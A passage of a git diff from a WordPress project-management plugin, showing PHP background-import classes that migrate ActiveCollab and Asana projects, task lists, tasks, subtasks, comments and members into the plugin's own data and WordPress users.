$this->getOrCreateUserId($this->makeUname($this->projectDetails['created_by']), $this->projectDetails['created_by']); - $pm_project->updated_by = $this->getOrCreateUserId('xyz123', $this->projectDetails['created_by']); - $pm_project->created_at = $this->projectDetails['created_at']; - $pm_project->updated_at = $this->projectDetails['updated_at']; - $pm_project->save(); - $this->fetchAndSaveLists($this->projectDetails['tasks_lists'], $project_id, $pm_project->id); - - error_log($this->projectDetails['title']); - - } - - /** - * converting activecol lists to cpm boards - * fetching all lists from activecol API against its board - * activecol lists to cpm boards - * @param $project_id - * @param $pm_project_id - */ - - public function fetchAndSaveLists( $taskLists, $aclPID, $pm_project_id ){ - - $pm_board = new Board(); - $pm_board->title = "inbox"; - $pm_board->description = ""; - $pm_board->order = "1"; - $pm_board->type = "task_list"; - $pm_board->status = 1;//$list['closed']; - $pm_board->project_id = $pm_project_id; - $pm_board->created_by = get_current_user_id(); - $pm_board->updated_by = get_current_user_id(); - $pm_board->save(); - $this->taskLists['inbox'] = $pm_board->id; - - - foreach ($taskLists as $taskList) { - $pm_board_pre = new Board(); - $pm_board_pre->title = $taskList['title']; - $pm_board_pre->description = ""; - $pm_board_pre->order = "1"; - $pm_board_pre->type = "task_list"; - $pm_board_pre->status = 1;//$list['closed']; - $pm_board_pre->project_id = $pm_project_id; - $pm_board_pre->created_by = $this->getOrCreateUserId($this->makeUname($taskList['created_by']),$taskList['created_by']); - $pm_board_pre->updated_by = $this->getOrCreateUserId($this->makeUname($taskList['created_by']),$taskList['created_by']); - $pm_board_pre->save(); - $this->taskLists[$taskList['id']] = $pm_board_pre->id; - } - - $this->fetchAndSaveTasks($this->projectDetails['tasks'], $pm_project_id); - - } - - /** - * Converting activecol cards to pm tasks - * @param $list_id - * @param $pm_board_id - */ - public function fetchAndSaveTasks($tasks, $pm_project_id){ - - foreach ($tasks as $task) { - $pm_taks = new Task(); - $pm_taks->title = $task['title']; - $pm_taks->description = $task['description']; - $pm_taks->estimation = 0; - $pm_taks->start_at = $task['start_at']; - $pm_taks->due_date = $task['due_date']; - $pm_taks->complexity = 0; - $pm_taks->priority = 1; - $pm_taks->payable = null; - $pm_taks->recurrent = 0; - $pm_taks->status = 0; - $pm_taks->project_id = $pm_project_id; - $pm_taks->completed_by = null; - $pm_taks->completed_at = null; - $pm_taks->parent_id = 0; - $pm_taks->created_at = $task['created_at']; - $pm_taks->updated_at = $task['updated_at']; - $pm_taks->save(); - - $boardid = $this->makeBoardable( - $this->taskLists[$task['task_list_id']], - $pm_taks->id - ); - $this->setAssignee($task['assignee_id'], $pm_taks->id, $pm_project_id); - - $this->migrateTaskComments($task['comments'], $pm_project_id, $pm_taks->id); - - $this->migrateTaskSubs($task['subtasks'], $boardid, $pm_project_id, $pm_taks->id); - - } - } - - public function migrateTaskSubs($tasksubs,$pm_board_id, $pm_project_id, $pm_task_id){ - - foreach ($tasksubs as $tasksub) { - - $subtask = array( - 'title' => $tasksub['title'], - 'description' => "", - 'estimation' => "0", - 'start_at' => null, - 'due_date' => null, - 'complexity' => 0, - 'priority' => 1, - 'payable' => 0, - 'recurrent' => 9, - 'status' => $tasksub['status'] == false ? '0' : '1' , - 'project_id' => $pm_project_id, - 'completed_by' => null, - 'completed_at' => null, - 'parent_id' => $pm_task_id, - 'created_at' => $tasksub['created_at'], - 'updated_at' => $tasksub['updated_at'] - ); - $__sub_task =Task::create($subtask); - - $boardable = array( - 'board_id' => $pm_board_id, - 'board_type' => "task_list", - 'boardable_id' => $__sub_task->id, - 'boardable_type' => "sub_task", - 'order' => "1", - 'created_by' => 0, - 'updated_by' => 0, - ); - Boardable::create($boardable); - - $this->setAssignee($tasksub['assignee_id'], $__sub_task->id, $pm_project_id); - } - - } - - public function makeBoardable($board_id, $pm_task_id){ - - $boardable = new Boardable(); - $boardable->board_id = $board_id; - $boardable->board_type = "task_list"; - $boardable->boardable_id = $pm_task_id; - $boardable->boardable_type = "task"; - $boardable->order = 1; - $boardable->created_by = 0; - $boardable->updated_by = 0; - $boardable->save(); - return $board_id; - } - - public function setAssignee($user_id,$pm_task_id,$pm_project_id){ - if(array_key_exists($user_id, $this->members)){ - $assignee = array( - 'task_id' => $pm_task_id, - 'assigned_to' => $this->members[$user_id], - 'status' => '0', - 'project_id' => $pm_project_id - ); - Assignee::create($assignee); - } - } - /** - * @param $username - * @param $email - * @return int|\WP_Error - */ - public function getOrCreateUserId($username, $email){ - $email = sanitize_email( $email ); -// error_log('entered create user email : '.$email); -// $hasUser = get_user_by( 'email', $email); - - $username_exists = username_exists( $username ); - $email_exists = email_exists( $email ); - - if( ! $email_exists && ! $username_exists ){ - $newUser = wp_create_user( strtolower($username), wp_generate_password(10), $email); - -// wp_send_new_user_notifications($newUser); - return $newUser; - - } else if ( $username_exists ) { - return $username_exists; - } else { - return $email_exists; - } - } - - /** - * migrating activecol board members to cpm project user - * @param $members - * @param $project_id - */ - - public function migrateProjectMembers($activecol_board_members,$pm_project_id){ - error_log('entered ACP Members'); - $activecol_board_members = $this->repairStringArray($activecol_board_members); - foreach ($activecol_board_members as $member){ - $user_id = null; - $user_role = array(); - if($member['email']){ - $user_id = $this->getOrCreateUserId($member['name'],$member['email']); - } else { - $user_id = $this->getOrCreateUserId($member['name'],$this->makeFakeEmail($member['name'])); - } - - if($user_id !== null){ - $user_role = array( - 'user_id' => $user_id, - 'role_id' => $this->convertRole($member['role']), - 'project_id' => $pm_project_id, - 'assigned_by' => '0', - ); - User_Role::create($user_role); - } - $this->members[$member['id']] = $user_id; - - } - } - - /** - * @param $activecol_card_members - * @param $pm_project_id - * @param $pm_task_id - */ - public function migrateCardMembers($activecol_card_members, $pm_project_id, $pm_task_id){ - error_log('entered Card Members'); - $activecol_card_members = $this->repairStringArray($activecol_card_members); - if(count($activecol_card_members) > 0) { - foreach ($activecol_card_members as $member) { - $user_id = null; - $assignee = array(); - $credentials = $this->activecol->getMemberInfo($member['id']); - if ($credentials['email']) { - $user_id = $this->getOrCreateUserId($credentials['username'], $credentials['email']); - } else { - $user_id = $this->getOrCreateUserId($credentials['username'], $this->makeFakeEmail($credentials['username'])); - } - - if($user_id !== null){ - $assignee = array( - 'task_id' => $pm_task_id, - 'assigned_to' => $user_id, - 'status' => '0', - 'project_id' => $pm_project_id - ); - Assignee::create($assignee); - } - } - } - - } - - /** - * @return string - */ - public function makeUname($email) - { - $email = sanitize_email($email); - $uname = explode("@", $email); - - return $uname[0]; - } - - /** - * @param $activecol_card_Comments - * @param $pm_project_id - * @param $pm_task_id - */ - public function migrateTaskComments($task_comments, $pm_project_id, $pm_task_id){ - error_log('entered Tasks Comments'); - - foreach ($task_comments as $comment) { - - $user_id = $this->getOrCreateUserId( - $comment['user_name'], - $comment['user_email'] - ); - global $wpdb; - $com_id = $wpdb->insert($wpdb->prefix . 'pm_comments', array( - 'content' => $comment['content'], - 'mentioned_users' => null, - 'commentable_id' => $pm_task_id, - 'commentable_type' => 'task', - 'project_id' => $pm_project_id, - 'created_by' => $user_id, - 'updated_by' => $user_id - )); - error_log('comment_id : ' . $com_id); - } - - } - - - - - - /** - * @param $activecol_card_Checklists - * @param $pm_project_id - * @param $pm_task_id - */ - public function migrateCardChecklists($activecol_card_Checklists,$pm_board_id, $pm_project_id, $pm_task_id){ - error_log('entered Card Comments'); - if(count($activecol_card_Checklists) > 0) { - foreach ($activecol_card_Checklists as $checklist) { - $list_item = $checklist['checkItems']; - if(count($list_item) > 0) { - foreach ($list_item as $item){ - - $subtask = array( - 'title' => $item['name'], - 'description' => "", - 'estimation' => "0", - 'start_at' => null, - 'due_date' => null, - 'complexity' => 0, - 'priority' => 1, - 'payable' => 0, - 'recurrent' => 9, - 'status' => $item['state'] == 'incomplete'? '0' : '1' , - 'project_id' => $pm_project_id, - 'completed_by' => null, - 'completed_at' => null, - 'parent_id' => $pm_task_id, - 'created_by' => get_current_user_id(), - 'updated_by' => get_current_user_id() - ); - $__sub_task =Task::create($subtask); - - $projectable = array( - 'board_id' => $pm_board_id, - 'board_type' => "task_list", - 'boardable_id' => $__sub_task->id, - 'boardable_type' => "sub_task", - 'order' => "1", - 'created_by' => get_current_user_id(), - 'updated_by' => get_current_user_id(), - ); - Boardable::create($projectable); - } - } - } - } - - } - - public function convertRole($role){ - if($role == 'Owner'){ - return '1'; - } else { - return '2'; - } - } - - public function makeFakeEmail($name){ - $email = ''; - $mailuser = str_replace(' ', '', $name); - $mailuser = preg_replace('/[^A-Za-z0-9\-]/', '', $mailuser); - $hostname = str_replace('http', '',get_site_url()); - $hostname = str_replace('://', '',$hostname); - echo $hostname; - if (strpos($hostname, ".")) { - $email = 'activecol_'.$mailuser.'@'.$hostname; - } else { - $email = 'activecol_'.$mailuser.'@'.$hostname.'.com'; - } - $email = sanitize_email( $email ); - return $email; - } - - public function repairStringArray($stringArray){ - if(is_string ($stringArray)){ - return json_decode($stringArray, true); - } else { - return $stringArray; - } - } - -} - +after_load_wp(); + } + + public function after_load_wp() { + $this->credentials = pm_get_setting('activecol_credentials'); + if(!$this->credentials){ + pm_set_settings('activecol_credentials', array('token' => '', 'url' => '', 'accID' => '')); + } else { + if(array_key_exists('token', $this->credentials)) { + $this->activecol = new PM_ActiveCol($this->credentials['url'],$this->credentials['token']); + + } + $this->imported = get_option('imported_from_activecol'); + $this->importing = get_option('importing_from_activecol'); + if(!$this->imported){ + add_option('imported_from_activecol', array()); + } + if(!$this->importing){ + add_option('importing_from_activecol', array()); + } + } + + new FormatActiveCollab(); + + } + + /** + * Task + * + * Override this method to perform any actions required on each + * queue item. Return the modified item for further processing + * in the next pass through. Or, return false to remove the + * item from the queue. + * + * @param mixed $item Queue item to iterate over + * + * @return mixed + */ + protected function task( $item ) { + // Actions to perform + if(!in_array($item, $this->imported)) { + $this->fetchAndSaveactivecol($item); + array_push($this->imported, $item); + if (in_array($item, $this->importing)) { + $key = array_search($item, $this->importing); + unset($this->importing[$key]); + update_option('importing_from_activecol', $this->importing); + } + update_option('imported_from_activecol', $this->imported); + } + return false; + } + + /** + * Complete + * + * Override if applicable, but ensure that the below actions are + * performed, or, call parent::complete(). + */ + protected function complete() { + parent::complete(); + + // Show notice to user or perform some other arbitrary task... + } + + /** + * Handle cron healthcheck + * + * Restart the background process if not already running + * and data exists in the queue. + */ + public function handle_cron_healthcheck() { + if ( $this->is_process_running() ) { + // Background process already running. + return; + } + + if ( $this->is_queue_empty() ) { + // No data to process. + $this->clear_scheduled_event(); + return; + } + + $this->handle(); + } + + /** + * takes activecol board id and fetch all boards + * from API + * @param $project_id + */ + + public function fetchAndSaveactivecol($project_id) { + $fr = new FileData(); + $this->projectDetails = $fr->get_content('acl/active_collab_project_'.$project_id.'.wppm'); + $this->migrateProjectMembers($this->projectDetails['members'], $project_id); + $pm_project = new Project(); + $pm_project->title = $this->projectDetails['title']; + $pm_project->description = $this->projectDetails['description']; + $pm_project->status = $this->projectDetails['status']; + $pm_project->budget = $this->projectDetails['budget']; + $pm_project->pay_rate = $this->projectDetails['pay_rate']; + $pm_project->est_completion_date = $this->projectDetails['est_completion_date']; + $pm_project->color_code = $this->projectDetails['color_code']; + $pm_project->order = $this->projectDetails['order']; + $pm_project->projectable_type = $this->projectDetails['projectable_type']; + $pm_project->completed_at = $this->projectDetails['completed_at']; + $pm_project->created_by = $this->getOrCreateUserId($this->makeUname($this->projectDetails['created_by']), $this->projectDetails['created_by']); + $pm_project->updated_by = $this->getOrCreateUserId('xyz123', $this->projectDetails['created_by']); + $pm_project->created_at = $this->projectDetails['created_at']; + $pm_project->updated_at = $this->projectDetails['updated_at']; + $pm_project->save(); + $this->fetchAndSaveLists($this->projectDetails['tasks_lists'], $project_id, $pm_project->id); + + error_log($this->projectDetails['title']); + + } + + /** + * converting activecol lists to cpm boards + * fetching all lists from activecol API against its board + * activecol lists to cpm boards + * @param $project_id + * @param $pm_project_id + */ + + public function fetchAndSaveLists( $taskLists, $aclPID, $pm_project_id ){ + + $pm_board = new Board(); + $pm_board->title = "inbox"; + $pm_board->description = ""; + $pm_board->order = "1"; + $pm_board->type = "task_list"; + $pm_board->status = 1;//$list['closed']; + $pm_board->project_id = $pm_project_id; + $pm_board->created_by = get_current_user_id(); + $pm_board->updated_by = get_current_user_id(); + $pm_board->save(); + $this->taskLists['inbox'] = $pm_board->id; + + + foreach ($taskLists as $taskList) { + $pm_board_pre = new Board(); + $pm_board_pre->title = $taskList['title']; + $pm_board_pre->description = ""; + $pm_board_pre->order = "1"; + $pm_board_pre->type = "task_list"; + $pm_board_pre->status = 1;//$list['closed']; + $pm_board_pre->project_id = $pm_project_id; + $pm_board_pre->created_by = $this->getOrCreateUserId($this->makeUname($taskList['created_by']),$taskList['created_by']); + $pm_board_pre->updated_by = $this->getOrCreateUserId($this->makeUname($taskList['created_by']),$taskList['created_by']); + $pm_board_pre->save(); + $this->taskLists[$taskList['id']] = $pm_board_pre->id; + } + + $this->fetchAndSaveTasks($this->projectDetails['tasks'], $pm_project_id); + + } + + /** + * Converting activecol cards to pm tasks + * @param $list_id + * @param $pm_board_id + */ + public function fetchAndSaveTasks($tasks, $pm_project_id){ + + foreach ($tasks as $task) { + $pm_taks = new Task(); + $pm_taks->title = $task['title']; + $pm_taks->description = $task['description']; + $pm_taks->estimation = 0; + $pm_taks->start_at = $task['start_at']; + $pm_taks->due_date = $task['due_date']; + $pm_taks->complexity = 0; + $pm_taks->priority = 1; + $pm_taks->payable = null; + $pm_taks->recurrent = 0; + $pm_taks->status = 0; + $pm_taks->project_id = $pm_project_id; + $pm_taks->completed_by = null; + $pm_taks->completed_at = null; + $pm_taks->parent_id = 0; + $pm_taks->created_at = $task['created_at']; + $pm_taks->updated_at = $task['updated_at']; + $pm_taks->save(); + + $boardid = $this->makeBoardable( + $this->taskLists[$task['task_list_id']], + $pm_taks->id + ); + $this->setAssignee($task['assignee_id'], $pm_taks->id, $pm_project_id); + + $this->migrateTaskComments($task['comments'], $pm_project_id, $pm_taks->id); + + $this->migrateTaskSubs($task['subtasks'], $boardid, $pm_project_id, $pm_taks->id); + + } + } + + public function migrateTaskSubs($tasksubs,$pm_board_id, $pm_project_id, $pm_task_id){ + + foreach ($tasksubs as $tasksub) { + + $subtask = array( + 'title' => $tasksub['title'], + 'description' => "", + 'estimation' => "0", + 'start_at' => null, + 'due_date' => null, + 'complexity' => 0, + 'priority' => 1, + 'payable' => 0, + 'recurrent' => 9, + 'status' => $tasksub['status'] == false ? '0' : '1' , + 'project_id' => $pm_project_id, + 'completed_by' => null, + 'completed_at' => null, + 'parent_id' => $pm_task_id, + 'created_at' => $tasksub['created_at'], + 'updated_at' => $tasksub['updated_at'] + ); + $__sub_task =Task::create($subtask); + + $boardable = array( + 'board_id' => $pm_board_id, + 'board_type' => "task_list", + 'boardable_id' => $__sub_task->id, + 'boardable_type' => "sub_task", + 'order' => "1", + 'created_by' => 0, + 'updated_by' => 0, + ); + Boardable::create($boardable); + + $this->setAssignee($tasksub['assignee_id'], $__sub_task->id, $pm_project_id); + } + + } + + public function makeBoardable($board_id, $pm_task_id){ + + $boardable = new Boardable(); + $boardable->board_id = $board_id; + $boardable->board_type = "task_list"; + $boardable->boardable_id = $pm_task_id; + $boardable->boardable_type = "task"; + $boardable->order = 1; + $boardable->created_by = 0; + $boardable->updated_by = 0; + $boardable->save(); + return $board_id; + } + + public function setAssignee($user_id,$pm_task_id,$pm_project_id){ + if(array_key_exists($user_id, $this->members)){ + $assignee = array( + 'task_id' => $pm_task_id, + 'assigned_to' => $this->members[$user_id], + 'status' => '0', + 'project_id' => $pm_project_id + ); + Assignee::create($assignee); + } + } + /** + * @param $username + * @param $email + * @return int|\WP_Error + */ + public function getOrCreateUserId($username, $email){ + $email = sanitize_email( $email ); +// error_log('entered create user email : '.$email); +// $hasUser = get_user_by( 'email', $email); + + $username_exists = username_exists( $username ); + $email_exists = email_exists( $email ); + + if( ! $email_exists && ! $username_exists ){ + $newUser = wp_create_user( strtolower($username), wp_generate_password(10), $email); + +// wp_send_new_user_notifications($newUser); + return $newUser; + + } else if ( $username_exists ) { + return $username_exists; + } else { + return $email_exists; + } + } + + /** + * migrating activecol board members to cpm project user + * @param $members + * @param $project_id + */ + + public function migrateProjectMembers($activecol_board_members,$pm_project_id){ + error_log('entered ACP Members'); + $activecol_board_members = $this->repairStringArray($activecol_board_members); + foreach ($activecol_board_members as $member){ + $user_id = null; + $user_role = array(); + if($member['email']){ + $user_id = $this->getOrCreateUserId($member['name'],$member['email']); + } else { + $user_id = $this->getOrCreateUserId($member['name'],$this->makeFakeEmail($member['name'])); + } + + if($user_id !== null){ + $user_role = array( + 'user_id' => $user_id, + 'role_id' => $this->convertRole($member['role']), + 'project_id' => $pm_project_id, + 'assigned_by' => '0', + ); + User_Role::create($user_role); + } + $this->members[$member['id']] = $user_id; + + } + } + + /** + * @param $activecol_card_members + * @param $pm_project_id + * @param $pm_task_id + */ + public function migrateCardMembers($activecol_card_members, $pm_project_id, $pm_task_id){ + error_log('entered Card Members'); + $activecol_card_members = $this->repairStringArray($activecol_card_members); + if(count($activecol_card_members) > 0) { + foreach ($activecol_card_members as $member) { + $user_id = null; + $assignee = array(); + $credentials = $this->activecol->getMemberInfo($member['id']); + if ($credentials['email']) { + $user_id = $this->getOrCreateUserId($credentials['username'], $credentials['email']); + } else { + $user_id = $this->getOrCreateUserId($credentials['username'], $this->makeFakeEmail($credentials['username'])); + } + + if($user_id !== null){ + $assignee = array( + 'task_id' => $pm_task_id, + 'assigned_to' => $user_id, + 'status' => '0', + 'project_id' => $pm_project_id + ); + Assignee::create($assignee); + } + } + } + + } + + /** + * @return string + */ + public function makeUname($email) + { + $email = sanitize_email($email); + $uname = explode("@", $email); + + return $uname[0]; + } + + /** + * @param $activecol_card_Comments + * @param $pm_project_id + * @param $pm_task_id + */ + public function migrateTaskComments($task_comments, $pm_project_id, $pm_task_id){ + error_log('entered Tasks Comments'); + + foreach ($task_comments as $comment) { + + $user_id = $this->getOrCreateUserId( + $comment['user_name'], + $comment['user_email'] + ); + global $wpdb; + $com_id = $wpdb->insert($wpdb->prefix . 'pm_comments', array( + 'content' => $comment['content'], + 'mentioned_users' => null, + 'commentable_id' => $pm_task_id, + 'commentable_type' => 'task', + 'project_id' => $pm_project_id, + 'created_by' => $user_id, + 'updated_by' => $user_id + )); + error_log('comment_id : ' . $com_id); + } + + } + + + + + + /** + * @param $activecol_card_Checklists + * @param $pm_project_id + * @param $pm_task_id + */ + public function migrateCardChecklists($activecol_card_Checklists,$pm_board_id, $pm_project_id, $pm_task_id){ + error_log('entered Card Comments'); + if(count($activecol_card_Checklists) > 0) { + foreach ($activecol_card_Checklists as $checklist) { + $list_item = $checklist['checkItems']; + if(count($list_item) > 0) { + foreach ($list_item as $item){ + + $subtask = array( + 'title' => $item['name'], + 'description' => "", + 'estimation' => "0", + 'start_at' => null, + 'due_date' => null, + 'complexity' => 0, + 'priority' => 1, + 'payable' => 0, + 'recurrent' => 9, + 'status' => $item['state'] == 'incomplete'? '0' : '1' , + 'project_id' => $pm_project_id, + 'completed_by' => null, + 'completed_at' => null, + 'parent_id' => $pm_task_id, + 'created_by' => get_current_user_id(), + 'updated_by' => get_current_user_id() + ); + $__sub_task =Task::create($subtask); + + $projectable = array( + 'board_id' => $pm_board_id, + 'board_type' => "task_list", + 'boardable_id' => $__sub_task->id, + 'boardable_type' => "sub_task", + 'order' => "1", + 'created_by' => get_current_user_id(), + 'updated_by' => get_current_user_id(), + ); + Boardable::create($projectable); + } + } + } + } + + } + + public function convertRole($role){ + if($role == 'Owner'){ + return '1'; + } else { + return '2'; + } + } + + public function makeFakeEmail($name){ + $email = ''; + $mailuser = str_replace(' ', '', $name); + $mailuser = preg_replace('/[^A-Za-z0-9\-]/', '', $mailuser); + $hostname = str_replace('http', '',get_site_url()); + $hostname = str_replace('://', '',$hostname); + echo $hostname; + if (strpos($hostname, ".")) { + $email = 'activecol_'.$mailuser.'@'.$hostname; + } else { + $email = 'activecol_'.$mailuser.'@'.$hostname.'.com'; + } + $email = sanitize_email( $email ); + return $email; + } + + public function repairStringArray($stringArray){ + if(is_string ($stringArray)){ + return json_decode($stringArray, true); + } else { + return $stringArray; + } + } + +} + diff --git a/src/Tools/Helpers/ImportAsana.php b/src/Tools/Helpers/ImportAsana.php index 44d794aa2..583febcf5 100644 --- a/src/Tools/Helpers/ImportAsana.php +++ b/src/Tools/Helpers/ImportAsana.php @@ -1,515 +1,515 @@ -credentials = pm_get_setting('asana_credentials'); - if(!$this->credentials){ - pm_set_settings('asana_credentials', array('token' => '')); - } else { - if(array_key_exists('token', $this->credentials)) { - if(!empty($this->credentials['token'])){ - $this->asana = new PM_Asana([ - 'personalAccessToken' => base64_decode($this->credentials['token']) - ]); - } - } - $this->imported = get_option('imported_from_asana'); - $this->importing = get_option('importing_from_asana'); - if(!$this->imported){ - add_option('imported_from_asana', array()); - } - if(!$this->importing){ - add_option('importing_from_asana', array()); - } - } - } - - /** - * Task - * - * Override this method to perform any actions required on each - * queue item. Return the modified item for further processing - * in the next pass through. Or, return false to remove the - * item from the queue. - * - * @param mixed $item Queue item to iterate over - * - * @return mixed - */ - protected function task( $item ) { - // Actions to perform - if(!in_array($item, $this->imported)) { - $this->fetchAndSaveasana($item); - array_push($this->imported, $item); - if (($key = array_search($item, $this->importing)) !== false) { - unset($this->importing[$key]); - update_option('importing_from_asana', $this->importing); - } - update_option('imported_from_asana', $this->imported); - } - return false; - } - - /** - * Complete - * - * Override if applicable, but ensure that the below actions are - * performed, or, call parent::complete(). - */ - protected function complete() { - parent::complete(); - - // Show notice to user or perform some other arbitrary task... - } - - /** - * Handle cron healthcheck - * - * Restart the background process if not already running - * and data exists in the queue. - */ - public function handle_cron_healthcheck() { - if ( $this->is_process_running() ) { - // Background process already running. - return; - } - - if ( $this->is_queue_empty() ) { - // No data to process. - $this->clear_scheduled_event(); - return; - } - - $this->handle(); - } - - /** - * takes asana project id and fetch all projects - * from API - * @param $project_id - */ - - public function fetchAndSaveasana($project_id) { - - $project_data = $this->asana->getAsana('projects/'.$project_id); - if(isset($project_data->data)){ - $project = $project_data->data; - error_log(print_r($project, true)); -// $hasProject = Project::where('title', '=', trim($project->name))->get(); -// if(isset($hasProject->title)) { - $project_members = $project->members; - // asana project to cpm project - $pm_project = new Project(); - $pm_project->title = $project->name; - $pm_project->description = $project->notes; - $pm_project->status = $project->archived; - $pm_project->budget = null; - $pm_project->pay_rate = null; - $pm_project->est_completion_date = null; - $pm_project->color_code = null; - $pm_project->order = null; - $pm_project->projectable_type = null; - $pm_project->completed_at = null; - $pm_project->created_by = get_current_user_id(); - $pm_project->updated_by = get_current_user_id(); - $pm_project->save(); - - //migrating members to user - $this->migrateprojectsMembers($project_members, $pm_project->id); - // asana lists to cpm projects - $this->fetchAndSaveLists($project_id, $pm_project->id); - - error_log($pm_project->name); -// } - } - - } - - /** - * converting asana lists to cpm projects - * fetching all lists from asana API against its project - * asana lists to cpm projects - * @param $project_id - * @param $pm_project_id - */ - - public function fetchAndSaveLists( $project_id, $pm_project_id ){ - - $pm_board = new Board(); - $pm_board->title = "inbox"; - $pm_board->description = ""; - $pm_board->order = "1"; - $pm_board->type = "task_list"; - $pm_board->status = 1;//$list['closed']; - $pm_board->project_id = $pm_project_id; - $pm_board->created_by = get_current_user_id(); - $pm_board->updated_by = get_current_user_id(); - $pm_board->save(); - $this->sections['inbox'] = $pm_board->id; - - $asana_sections_data = $this->asana->getAsana('projects/'.$project_id.'/sections'); - if(isset($asana_sections_data->data)) { - foreach ($asana_sections_data->data as $section) { - $pm_board_pre = new Board(); - $pm_board_pre->title = $section->name; - $pm_board_pre->description = ""; - $pm_board_pre->order = "1"; - $pm_board_pre->type = "task_list"; - $pm_board_pre->status = 1;//$list['closed']; - $pm_board_pre->project_id = $pm_project_id; - $pm_board_pre->created_by = get_current_user_id(); - $pm_board_pre->updated_by = get_current_user_id(); - $pm_board_pre->save(); - $this->sections[$section->gid] = $pm_board_pre->id; - } - - $this->fetchAndSaveTasks($project_id, $pm_project_id); - } - - } - - /** - * Converting asana cards to pm tasks - * @param $list_id - * @param $pm_project_id - */ - public function fetchAndSaveTasks($asana_project_id, $pm_project_id){ - $task_data = $this->asana->getAsana('projects/'.$asana_project_id.'/tasks'); - $tasks = $task_data->data; - if (is_array($tasks)) { - if (count($tasks) > 0) { - foreach ($tasks as $task_minimal) { - $task_d = $this->asana->getAsana('tasks/'.$task_minimal->gid); - sleep(3); - error_log('task imported : '.print_r($task_d, true)); - if(isset($task_d->data)){ - $task = $task_d->data; - if($task->resource_subtype == "default_task") { - $pm_taks = new Task(); - $pm_taks->title = $task->name; - $pm_taks->description = $task->notes; - $pm_taks->estimation = 0; - $pm_taks->start_at = $task->start_on; - $pm_taks->due_date = $task->due_on; - $pm_taks->complexity = 0; - $pm_taks->priority = 1; - $pm_taks->payable = null; - $pm_taks->recurrent = NULL; - $pm_taks->status = 0; - $pm_taks->project_id = $pm_project_id; - $pm_taks->completed_by = null; - $pm_taks->completed_at = null; - $pm_taks->parent_id = 0; - $pm_taks->created_by = get_current_user_id(); - $pm_taks->updated_by = get_current_user_id(); - $pm_taks->save(); - - $boardid = $this->makeBoardable( - $this->sectionType($task->memberships[0]->section), - $pm_taks->id - ); - - if (is_array($task->followers)) { - $this->migrateTaskFollowers($task->followers, $pm_project_id, $pm_taks->id); - } - $subtasks = $this->asana->getAsana('tasks/'.$task->id.'/subtasks'); - sleep(3); - error_log('subtask imported : '.print_r($subtasks, true)); - //migrating checklists to sub_task - if (is_array($subtasks->data)) { - $this->migrateSubTasks($subtasks->data, $boardid, $pm_project_id, $pm_taks->id); - } - - $task_stories = $this->asana->getAsana('tasks/'.$task->gid.'/stories'); - sleep(3); - error_log('subtask detailed to import : '.print_r($subtasks, true)); - //migrating comments to discussion - if (is_array($task_stories->data)) { - $this->migrateTaskStories($task_stories->data, $pm_project_id, $pm_taks->id); - } - - } - } - - } - } - } - } - - /** - * @param $username - * @param $email - * @return int|\WP_Error - */ - public function getOrCreateUserId($username, $email){ - $email = sanitize_email( $email ); -// error_log('entered create user email : '.$email); -// $hasUser = get_user_by( 'email', $email); - - $username_exists = username_exists( $username ); - $email_exists = email_exists( $email ); - - if( ! $email_exists && ! $username_exists ){ - $newUser = wp_create_user( strtolower($username), wp_generate_password(10), $email); - -// wp_send_new_user_notifications($newUser); - return $newUser; - - } else if ( $username_exists ) { - return $username_exists; - } else { - return $email_exists; - } - } - - /** - * migrating asana project members to cpm project user - * @param $members - * @param $project_id - */ - - public function migrateprojectsMembers($asana_project_members,$pm_project_id){ - error_log('entered project Members'); - error_log(print_r($asana_project_members, true)); - foreach ($asana_project_members as $member){ - $user_id = null; - $user_role = array(); - $user_data = $this->asana->getAsana('users/'.$member->id); - sleep(3); - if(isset($user_data->data)){ - $credentials = $user_data->data; - if($credentials->email){ - $email = sanitize_email( $credentials->email ); - error_log($email); - $user_id = $this->getOrCreateUserId($credentials->name, $email); - } else { - $user_id = $this->getOrCreateUserId($credentials->name,$this->makeFakeEmail($credentials->name)); - } - - if($user_id !== null){ - $user_role = array( - 'user_id' => $user_id, - 'role_id' => '2', //$this->convertRole($member['memberType']), - 'project_id' => $pm_project_id, - 'assigned_by' => '0', - ); - User_Role::create($user_role); - } - } - } - } - - /** - * @param $asana_task_follower - * @param $pm_project_id - * @param $pm_task_id - */ - public function migrateTaskFollowers($asana_task_follower, $pm_project_id, $pm_task_id){ - error_log('entered Card Members'); - if(count($asana_task_follower) > 0) { - foreach ($asana_task_follower as $member) { - $user_id = null; - $assignee = array(); - $credentials = $this->asana->getAsana('users/'.$member->id); - sleep(5); - if(isset($credentials->data)) { - if ($credentials->data->email) { - $user_id = $this->getOrCreateUserId($credentials->data->name, $credentials->data->email); - } else { - $user_id = $this->getOrCreateUserId($credentials->data->name, $this->makeFakeEmail($credentials->data->name)); - } - - if ($user_id !== null) { - $assignee = array( - 'task_id' => $pm_task_id, - 'assigned_to' => $user_id, - 'status' => '0', - 'project_id' => $pm_project_id - ); - Assignee::create($assignee); - } - } - } - } - - } - - /** - * @param $asana_card_Comments - * @param $pm_project_id - * @param $pm_task_id - */ - public function migrateTaskStories($task_stories, $pm_project_id, $pm_task_id){ - error_log('entered Tasks Comments'); - - foreach ($task_stories as $comment) { - if($comment->type == "comment") { - $credentials = $this->asana->getAsana('users/'.$comment->created_by->gid); - sleep(5); - if(isset($credentials->data)) { - $user_id = $this->getOrCreateUserId( - $credentials->data->name, - $credentials->data->email - ); - global $wpdb; - $com_id = $wpdb->insert($wpdb->prefix . 'pm_comments', array( - 'content' => $comment->text, - 'mentioned_users' => null, - 'commentable_id' => $pm_task_id, - 'commentable_type' => 'task', - 'project_id' => $pm_project_id, - 'created_by' => $user_id, - 'updated_by' => $user_id - )); - error_log('comment_id : ' . $com_id); - } - - } - } - - - } - - /** - * @param $asana_card_Checklists - * @param $pm_project_id - * @param $pm_task_id - */ - public function migrateSubTasks($asanaSubTasks, $boardid, $pm_project_id, $pm_task_id){ - error_log('entered Sub Task'); - if(count($asanaSubTasks) > 0) { - foreach ($asanaSubTasks as $a_subtask) { - $task_d = $this->asana->getAsana('tasks/'.$a_subtask->gid); - sleep(3); - if(isset($task_d->data)) { - $task = $task_d->data; - $subtask = array( - 'title' => $task->name, - 'description' => $task->notes, - 'estimation' => "0", - 'start_at' => $task->start_on, - 'due_date' => $task->due_on, - 'complexity' => 0, - 'priority' => 1, - 'payable' => 0, - 'recurrent' => 9, - 'status' => 0, - 'project_id' => $pm_project_id, - 'completed_by' => null, - 'completed_at' => null, - 'parent_id' => $pm_task_id, - 'created_by' => get_current_user_id(), - 'updated_by' => get_current_user_id() - ); - $__sub_task = Task::create($subtask); - - $projectable = array( - 'board_id' => 